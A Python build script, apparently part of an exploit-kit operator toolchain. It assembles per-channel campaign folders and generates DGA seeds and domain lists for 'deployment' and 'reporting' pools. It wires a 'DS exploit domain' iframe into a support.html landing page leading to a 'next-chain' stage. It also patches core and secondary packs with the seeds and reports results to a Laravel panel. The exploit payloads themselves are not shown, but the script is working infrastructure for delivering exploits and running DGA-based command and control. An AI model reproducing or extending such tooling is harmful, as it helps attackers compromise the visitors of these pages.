#!/usr/bin/env python3
"""Build channel assets into a shared online-compatible artifact root.

Layout:
  {artifact-root}/
    lab_seeds.json
    sync/                 # shared; rebuilt when seeds are created/changed
    web/{channel-id}/     # per channel

Seed resolution:
  1. both --deployment-seed and --reporting-seed
  2. else lab_seeds.json
  3. else random generate + write lab_seeds.json

Emits a final JSON object on stdout (last line) for Laravel to parse.
"""

from __future__ import annotations

import argparse
import hashlib
import json
import secrets
import shutil
import subprocess
import sys
from datetime import datetime, timezone
from pathlib import Path

from _channel_patch import gen_channel_id, validate_channel_id
from _common import (
    ARTIFACTS_ROOT,
    ORIGINAL_CORE_CHANNEL_ID,
    SOURCE_ROOT,
    STATE_ROOT,
    validate_seed_arg,
)

TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed"
if str(_EMBED_DIR) not in sys.path:
    sys.path.insert(0, str(_EMBED_DIR))
from embed_boot import apply_embed_boot  # noqa: E402

SUPPORT_TEMPLATES = ("test", "blank")
DEFAULT_SUPPORT_TEMPLATE = "blank"
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
LAB_SEEDS_NAME = "lab_seeds.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "


def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
    skip = {"_bak", "__pycache__", ".DS_Store"}
    return {n for n in names if n in skip or n.endswith(".pyc")}


def replace_tree(src: Path, dst: Path) -> None:
    if dst.exists():
        shutil.rmtree(dst)
    shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)


def normalize_support_template(value: str | None) -> str:
    template = (value or DEFAULT_SUPPORT_TEMPLATE).strip().lower()
    if template not in SUPPORT_TEMPLATES:
        raise SystemExit(
            f"unsupported --support-template {value!r}; "
            f"choose one of: {', '.join(SUPPORT_TEMPLATES)}"
        )
    return template


def apply_support_template(campaign_dir: Path, template: str) -> None:
    template = normalize_support_template(template)
    dest = campaign_dir / "support.html"
    src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
    if not src.is_file():
        raise SystemExit(f"missing support template: {src}")
    shutil.copyfile(src, dest)


def apply_ds_domain(support_html: Path, ds_domain: str) -> None:
    """Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/)."""
    if not support_html.is_file():
        return
    text = support_html.read_text(encoding="utf-8")
    if "__DS_DOMAIN__" not in text:
        return
    support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8")


def resolve_python() -> str:
    exe = (sys.executable or "").strip()
    if exe:
        return exe
    for name in ("python3", "python"):
        found = shutil.which(name)
        if found:
            return found
    raise SystemExit("cannot locate python interpreter")


def run(cmd: list[str]) -> None:
    print("+", " ".join(cmd), flush=True)
    subprocess.run(cmd, cwd=str(BUILDER_ROOT), check=True)


def gen_seed() -> str:
    return secrets.token_hex(16)


def load_lab_seeds(path: Path) -> dict | None:
    if not path.is_file():
        return None
    data = json.loads(path.read_text())
    dep = data.get("deployment_seed")
    rep = data.get("reporting_seed")
    if not isinstance(dep, str) or not isinstance(rep, str):
        raise SystemExit(f"invalid {path}: missing deployment_seed/reporting_seed")
    return data


def compute_domains(py: str, dep: str, rep: str, count: int) -> dict:
    result = subprocess.run(
        [
            py,
            str(TOOLS / "compute_dga_domains.py"),
            "--deployment-seed",
            dep,
            "--reporting-seed",
            rep,
            "-n",
            str(count),
            "--json",
        ],
        cwd=str(BUILDER_ROOT),
        check=True,
        capture_output=True,
        text=True,
    )
    payload = json.loads(result.stdout)
    return {
        "deployment": payload["deployment"]["domains"],
        "reporting": payload["reporting"]["domains"],
    }


def write_lab_seeds(
    path: Path,
    *,
    dep: str,
    rep: str,
    domains: dict,
    count: int,
) -> dict:
    doc = {
        "schema_version": 1,
        "mode": "dga",
        "deployment_seed": dep,
        "reporting_seed": rep,
        "dga_count": count,
        "domains": domains,
        "updated_at": datetime.now(timezone.utc).isoformat(),
    }
    if not path.is_file():
        doc["created_at"] = doc["updated_at"]
    else:
        prev = json.loads(path.read_text())
        if isinstance(prev.get("created_at"), str):
            doc["created_at"] = prev["created_at"]
        else:
            doc["created_at"] = doc["updated_at"]
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_text(json.dumps(doc, indent=2) + "\n")
    return doc


def resolve_seeds(
    *,
    lab_seeds_path: Path,
    cli_dep: str | None,
    cli_rep: str | None,
    count: int,
    py: str,
) -> tuple[str, str, dict, bool, bool]:
    """Return dep, rep, domains, seeds_initialized, sync_rebuilt."""
    if bool(cli_dep) ^ bool(cli_rep):
        raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")

    existing = load_lab_seeds(lab_seeds_path)

    if cli_dep and cli_rep:
        dep = validate_seed_arg("--deployment-seed", cli_dep)
        rep = validate_seed_arg("--reporting-seed", cli_rep)
        if dep != rep:
            raise SystemExit("deployment and reporting seeds must match")
        if existing and (
            existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep
        ):
            domains = existing.get("domains") or compute_domains(py, dep, rep, count)
            return dep, rep, domains, False, False
        domains = compute_domains(py, dep, rep, count)
        write_lab_seeds(lab_seeds_path, dep=dep, rep=rep, domains=domains, count=count)
        return dep, rep, domains, existing is None, True

    if existing:
        dep = str(existing["deployment_seed"])
        rep = str(existing["reporting_seed"])
        domains = existing.get("domains") or compute_domains(py, dep, rep, count)
        return dep, rep, domains, False, False

    # Deployment + Reporting pools share one seed (identical DGA candidate lists).
    dep = gen_seed()
    rep = dep
    domains = compute_domains(py, dep, rep, count)
    write_lab_seeds(lab_seeds_path, dep=dep, rep=rep, domains=domains, count=count)
    return dep, rep, domains, True, True


def release_files(artifact_root: Path, channel: str) -> list[dict[str, object]]:
    files: list[dict[str, object]] = []
    for rel_root in (Path("sync"), Path("web") / channel):
        base = artifact_root / rel_root
        if not base.is_dir():
            continue
        for path in sorted(base.rglob("*")):
            if not path.is_file():
                continue
            data = path.read_bytes()
            files.append(
                {
                    "path": path.relative_to(artifact_root).as_posix(),
                    "size": len(data),
                    "sha256": hashlib.sha256(data).hexdigest(),
                }
            )
    return files


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Create/update a channel under shared sync/ + web/<id>/ (DGA seeds only)."
    )
    parser.add_argument("--channel-id", help="32-char [0-9a-z] channel id (default: random)")
    parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
    parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
    parser.add_argument(
        "--artifact-root",
        type=Path,
        default=ARTIFACTS_ROOT,
        help=f"served root for web/ + sync/ (default: {ARTIFACTS_ROOT})",
    )
    parser.add_argument(
        "--state-root",
        type=Path,
        default=STATE_ROOT,
        help=f"lab_seeds.json + out/ (default: {STATE_ROOT})",
    )
    parser.add_argument(
        "--force",
        action="store_true",
        help="replace existing web/<channel-id>/",
    )
    parser.add_argument(
        "-n",
        "--count",
        type=int,
        default=5,
        help="DGA candidates per pool written into lab_seeds.json (default 5)",
    )
    parser.add_argument(
        "--support-template",
        default=DEFAULT_SUPPORT_TEMPLATE,
        choices=SUPPORT_TEMPLATES,
        help="support.html template: test or blank (default: test)",
    )
    parser.add_argument(
        "--json-out",
        type=Path,
        help="optional path to write the result JSON (also printed on stdout)",
    )
    parser.add_argument(
        "--ds-domain",
        default="",
        help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). "
        "Empty = relative /next-chain/ (default)",
    )
    args = parser.parse_args()

    src_campaign = SOURCE_ROOT / "web"
    src_sync = SOURCE_ROOT / "sync"
    if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
        raise SystemExit(f"missing source web template: {src_campaign}")
    if not (src_campaign / "index.js").is_file():
        raise SystemExit(f"missing source web/index.js: {src_campaign}")
    if not src_sync.is_dir():
        raise SystemExit(f"missing source sync: {src_sync}")

    support_template = normalize_support_template(args.support_template)
    artifact_root = args.artifact_root.resolve()
    state_root = args.state_root.resolve()
    if artifact_root == SOURCE_ROOT.resolve() or SOURCE_ROOT.resolve() in artifact_root.parents:
        raise SystemExit("refusing to build into channel-builder/source")
    if state_root == SOURCE_ROOT.resolve() or SOURCE_ROOT.resolve() in state_root.parents:
        raise SystemExit("refusing state-root under channel-builder/source")
    artifact_root.mkdir(parents=True, exist_ok=True)
    state_root.mkdir(parents=True, exist_ok=True)

    channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
    web_dir = artifact_root / "web" / channel
    sync_dir = artifact_root / "sync"
    lab_seeds_path = state_root / LAB_SEEDS_NAME
    out_root = state_root / "out"

    if web_dir.exists():
        if not args.force:
            raise SystemExit(f"web/{channel} already exists (use --force)")
        shutil.rmtree(web_dir)

    py = resolve_python()
    dep, rep, domains, seeds_initialized, sync_rebuilt = resolve_seeds(
        lab_seeds_path=lab_seeds_path,
        cli_dep=args.deployment_seed,
        cli_rep=args.reporting_seed,
        count=args.count,
        py=py,
    )
    # Rebuild sync if seeds changed OR shared sync tree is missing.
    if not sync_dir.is_dir() or not (sync_dir / "daily.html").is_file():
        sync_rebuilt = True

    print("=== new_project (shared DGA) ===")
    print(f"artifact: {artifact_root}")
    print(f"state:    {state_root}")
    print(f"channel:  {channel}")
    print(f"support:  template={support_template}")
    print(f"seeds:    dep={dep}")
    print(f"          rep={rep}")
    print(f"init:     seeds_initialized={seeds_initialized} sync_rebuilt={sync_rebuilt}")
    print()

    try:
        if sync_rebuilt:
            print("=== rebuild shared sync/ ===")
            replace_tree(src_sync, sync_dir)
            run(
                [
                    py,
                    str(TOOLS / "patch_core.py"),
                    "--deployment-seed",
                    dep,
                    "--reporting-seed",
                    rep,
                    # Keep pristine core channel; sync is shared across delivery channels.
                    "--channel-id",
                    ORIGINAL_CORE_CHANNEL_ID,
                    "--root",
                    str(artifact_root),
                    "--out",
                    str(out_root / "sync"),
                    "--shared-layout",
                    "--apply",
                ]
            )

        print("=== build web/%s ===" % channel)
        web_dir.parent.mkdir(parents=True, exist_ok=True)
        shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
        if not (web_dir / "index.js").is_file():
            raise SystemExit(f"missing index.js after campaign copy: {web_dir}")
        apply_support_template(web_dir, support_template)
        apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/"))
        run(
            [
                py,
                str(TOOLS / "patch_secondary_packs.py"),
                "--deployment-seed",
                dep,
                "--reporting-seed",
                rep,
                "--channel-id",
                channel,
                "--root",
                str(artifact_root),
                "--out",
                str(out_root / "secondary"),
                "--shared-layout",
                "--apply",
            ]
        )
        apply_embed_boot(
            web_dir,
            channel_code=channel,
            ds_domain=(args.ds_domain or "").rstrip("/"),
        )
    except BaseException:
        if web_dir.exists() and not sync_rebuilt:
            # leave shared sync; remove failed channel web
            shutil.rmtree(web_dir, ignore_errors=True)
        raise

    result = {
        "schema_version": 1,
        "status": "built",
        "channel_id": channel,
        "mode": "dga",
        "support_template": support_template,
        "seeds": {
            "deployment_seed": dep,
            "reporting_seed": rep,
        },
        "domains": domains,
        "seeds_initialized": seeds_initialized,
        "sync_rebuilt": sync_rebuilt,
        "support_path": f"/web/{channel}/support.html",
        "ds_domain": (args.ds_domain or "").rstrip("/"),
        "daily_path": "/sync/daily.html",
        "artifact_root": str(artifact_root),
        "state_root": str(state_root),
        "lab_seeds_path": str(lab_seeds_path),
        "files": release_files(artifact_root, channel),
    }
    out_root.mkdir(parents=True, exist_ok=True)
    (web_dir / "manifest.json").write_text(json.dumps(result, indent=2) + "\n")
    (state_root / "manifest.latest.json").write_text(json.dumps(result, indent=2) + "\n")
    if args.json_out:
        args.json_out.write_text(json.dumps(result, indent=2) + "\n")

    print()
    print("=== ready ===")
    print(f"web:     {web_dir}")
    print(f"sync:    {sync_dir}")
    print(f"seeds:   {lab_seeds_path}")
    print(f"served:  /web/{channel}/support.html")
    print(f"         /sync/daily.html")
    # Machine-readable line for PHP (also full JSON on its own line).
    print(RESULT_MARKER + json.dumps(result, separators=(",", ":")), flush=True)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())